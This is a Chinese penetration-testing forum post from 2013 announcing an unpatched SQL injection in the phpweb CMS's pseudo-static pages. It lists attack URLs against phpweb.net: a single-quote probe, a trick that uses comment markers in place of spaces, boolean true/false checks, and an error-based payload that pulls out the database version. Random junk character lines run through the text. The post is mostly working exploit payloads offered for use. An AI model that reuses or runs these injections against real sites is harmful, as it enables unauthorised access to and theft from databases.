中国网络渗透测试联盟

标题: phpweb伪静态页面注入0day [打印本页]

---

作者: admin    时间: 2013-1-4 19:46
标题: phpweb伪静态页面注入0day
phpweb所有的整站程序伪静态页面都存在sql注入

主站：http://phpweb.net/
加’检测：
: B6 Q4 ]$ c/ I$ b
+ |, _! J  E* u* q4 dhttp://www.phpweb.net/down/html/?772′.html
' m( z4 V' s; ^. n
- u4 n6 |  Y9 h5 S出错
( A- c# m( F9 D2 Z& J5 S3 y存在注入。
不能用空格，只能用/*罗
9 F  y8 I& d& v0 H; [) Yhttp://www.phpweb.net/page/html/?56′/**/and/**/1=1/*.html 正常
3 ^) w4 {, O: I- S# \
http://www.phpweb.net/page/html/?56′/**/and/**/1=2/*.html 出错.
, Y+ H) {: R0 `爆数据库版本：
9 F- @! i) v( |
- C& M. S3 x4 z) Z% n?
1
http://www.phpweb.net/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html
更新日期: 2013-01-03 13:39:50        
/ ?; p) G/ o) A( E2 |5 ~

---

欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)

Powered by Discuz! X3.2